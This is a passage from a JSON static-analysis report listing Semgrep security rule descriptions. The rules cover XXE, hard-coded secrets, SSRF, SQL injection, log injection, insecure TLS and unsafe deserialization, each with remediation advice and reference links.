[https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","id":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","name":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","id":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","name":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","id":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","name":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://fastapi.palletsprojects.com/en/2.3.x/logging/](https://fastapi.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","id":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","name":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","id":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","name":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","id":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","name":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","id":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","name":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","id":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","name":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"help":{"markdown":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link)\n - [https://cwe.mitre.org/data/definitions/319.html](https://cwe.mitre.org/data/definitions/319.html)\n","text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"helpUri":"https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link","id":"html.security.plaintext-http-link.plaintext-http-link","name":"html.security.plaintext-http-link.plaintext-http-link","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.plaintext-http-link.plaintext-http-link"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","id":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","name":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"help":{"markdown":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks)\n","text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","id":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","name":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","id":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","name":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html)\n","text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","id":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","name":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string","id":"python.django.security.injection.tainted-sql-string.tainted-sql-string","name":"python.django.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","id":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","name":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 